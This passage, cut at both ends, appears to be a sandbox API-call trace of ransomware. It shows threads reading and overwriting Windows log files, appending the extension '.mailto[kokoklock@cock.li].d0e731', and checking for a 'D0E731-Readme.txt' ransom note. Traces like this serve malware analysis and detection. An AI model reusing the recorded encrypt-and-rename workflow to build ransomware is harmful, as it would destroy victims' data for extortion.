| out: Seed=0x25f3fc60) returned 0xfa74a781 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x99dc7c5e [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xefbd7050 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x747f9a24 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x3c0e7b5f [0081.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.551] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x25f3fc54, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25f3fc54*=0x2000, lpOverlapped=0x0) returned 1 [0081.552] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25f3fc1c | out: lpNewFilePointer=0x0) returned 1 [0081.552] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x25f3fc50, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25f3fc50*=0x2000, lpOverlapped=0x0) returned 1 [0081.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e108 [0081.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e108) returned 1 [0081.552] WriteFile (in: hFile=0x350, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25f3fc4c, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25f3fc4c*=0x20, lpOverlapped=0x0) returned 1 [0081.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.553] WriteFile (in: hFile=0x350, lpBuffer=0x342e5e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25f3fc78, lpOverlapped=0x0 | out: lpBuffer=0x342e5e0*, lpNumberOfBytesWritten=0x25f3fc78*=0x8, lpOverlapped=0x0) returned 1 [0081.553] WriteFile (in: hFile=0x350, lpBuffer=0x25f3fc90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25f3fc78, lpOverlapped=0x0 | out: lpBuffer=0x25f3fc90*, lpNumberOfBytesWritten=0x25f3fc78*=0x4, lpOverlapped=0x0) returned 1 [0081.553] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25f3fc78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25f3fc78*=0x4, lpOverlapped=0x0) returned 1 [0081.553] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25f3fc78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25f3fc78*=0x6c, lpOverlapped=0x0) returned 1 [0081.553] WriteFile (in: hFile=0x350, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25f3fc78, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x25f3fc78*=0x20, lpOverlapped=0x0) returned 1 [0081.553] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25f3fc78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25f3fc78*=0x4, lpOverlapped=0x0) returned 1 [0081.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4c8) returned 1 [0081.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5e0) returned 1 [0081.553] CloseHandle (hObject=0x350) returned 1 [0081.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.553] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" [0081.553] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731" [0081.554] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.554] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.554] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl", dwFileAttributes=0x2020) returned 0 [0081.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.555] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.555] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.555] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.555] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b680) returned 1 [0081.555] RtlExitUserThread (Status=0x1) Thread: id = 1061 os_tid = 0x1798 [0081.556] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl")) returned 0x2020 [0081.556] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl", dwFileAttributes=0x20) returned 1 [0081.557] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.557] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x25fbfbe8 | out: lpFileSize=0x25fbfbe8*=8192) returned 1 [0081.557] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.557] ReadFile (in: hFile=0x350, lpBuffer=0x25fbfbbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25fbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x25fbfbbc*, lpNumberOfBytesRead=0x25fbfbb8*=0x4, lpOverlapped=0x0) returned 1 [0081.559] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.559] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e5e0 [0081.559] NtQuerySystemTime (in: CurrentTime=0x25fbfb94 | out: CurrentTime=0x25fbfb94*=132121176394591103) returned 0x0 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x74341ec8 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xd5259c65 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x244f6ca4 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x85b30ea9 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x13992997 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x771bfe6f [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x55271e43 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x108b5a40 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xe30bddfa [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x7955bee7 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xedac8b3a [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x374dee8 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x7e2067b5 [0081.559] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xc73229d9 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x20536f7b [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xf98d637b [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x8bddb6c6 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x1fb72851 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x10406f84 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x3ad9174d [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x83e61590 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x505b54a8 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xfefce416 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xdd987899 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x4894561f [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x68b2347f [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x5a1fb4 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x8a02da3c [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x1149d37 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xd646daf2 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0xe1d46595 [0081.560] RtlRandom (in: Seed=0x25fbfba0 | out: Seed=0x25fbfba0) returned 0x588f2b2 [0081.570] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0081.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0081.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0081.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e130 [0081.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e130) returned 1 [0081.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.571] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x25fbfb94, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25fbfb94*=0x2000, lpOverlapped=0x0) returned 1 [0081.572] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25fbfb5c | out: lpNewFilePointer=0x0) returned 1 [0081.572] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x25fbfb90, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25fbfb90*=0x2000, lpOverlapped=0x0) returned 1 [0081.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e130 [0081.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.572] WriteFile (in: hFile=0x350, lpBuffer=0x342e130*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25fbfb8c, lpOverlapped=0x0 | out: lpBuffer=0x342e130*, lpNumberOfBytesWritten=0x25fbfb8c*=0x20, lpOverlapped=0x0) returned 1 [0081.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e130) returned 1 [0081.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0081.572] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0081.572] WriteFile (in: hFile=0x350, lpBuffer=0x342e4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25fbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x342e4c8*, lpNumberOfBytesWritten=0x25fbfbb8*=0x8, lpOverlapped=0x0) returned 1 [0081.572] WriteFile (in: hFile=0x350, lpBuffer=0x25fbfbd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25fbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x25fbfbd0*, lpNumberOfBytesWritten=0x25fbfbb8*=0x4, lpOverlapped=0x0) returned 1 [0081.572] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25fbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25fbfbb8*=0x4, lpOverlapped=0x0) returned 1 [0081.573] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25fbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25fbfbb8*=0x6c, lpOverlapped=0x0) returned 1 [0081.573] WriteFile (in: hFile=0x350, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25fbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25fbfbb8*=0x20, lpOverlapped=0x0) returned 1 [0081.573] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25fbfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25fbfbb8*=0x4, lpOverlapped=0x0) returned 1 [0081.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e108) returned 1 [0081.573] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4c8) returned 1 [0081.573] CloseHandle (hObject=0x350) returned 1 [0081.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.573] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" [0081.573] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731" [0081.573] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl", dwFileAttributes=0x2020) returned 0 [0081.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc88 [0081.574] wcscpy (in: _Dest=0x347fc88, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.574] wcscat (in: _Dest=0x347fc88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.574] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.574] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0081.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348bb40) returned 1 [0081.575] RtlExitUserThread (Status=0x1) Thread: id = 1062 os_tid = 0x179c [0081.576] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl")) returned 0x2020 [0081.577] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl", dwFileAttributes=0x20) returned 1 [0081.577] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.577] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2603fbe0 | out: lpFileSize=0x2603fbe0*=16384) returned 1 [0081.577] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x3ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.577] ReadFile (in: hFile=0x350, lpBuffer=0x2603fbb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2603fbb0, lpOverlapped=0x0 | out: lpBuffer=0x2603fbb4*, lpNumberOfBytesRead=0x2603fbb0*=0x4, lpOverlapped=0x0) returned 1 [0081.578] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e4c8 [0081.579] NtQuerySystemTime (in: CurrentTime=0x2603fb8c | out: CurrentTime=0x2603fb8c*=132121176394748489) returned 0x0 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x34dbca3a [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0xb7dbc9f5 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x2de9854d [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x3593abc6 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x740e6ead [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x7c627cb1 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0xe9e78e06 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x331dc022 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x59cbb8a5 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0xe44d301f [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0xb3b21adf [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x96d86c58 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x302f6089 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0xf469b484 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x8b3311f6 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x213ac716 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x8f2faad7 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0xa71692fe [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x5b606e14 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x9df42d4e [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x1c2432db [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x28db62a2 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x92d31993 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x8b471412 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x8cd1f1f8 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x3084817e [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x389a405c [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x13c97f3e [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0xae39ab48 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x34da4250 [0081.579] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x6a3b30ea [0081.580] RtlRandom (in: Seed=0x2603fb98 | out: Seed=0x2603fb98) returned 0x94239edf [0081.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.590] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.590] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.591] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.591] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2603fb8c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2603fb8c*=0x4000, lpOverlapped=0x0) returned 1 [0081.592] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2603fb54 | out: lpNewFilePointer=0x0) returned 1 [0081.592] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2603fb88, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2603fb88*=0x4000, lpOverlapped=0x0) returned 1 [0081.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.592] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e680 [0081.592] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e680) returned 1 [0081.592] WriteFile (in: hFile=0x350, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2603fb84, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, 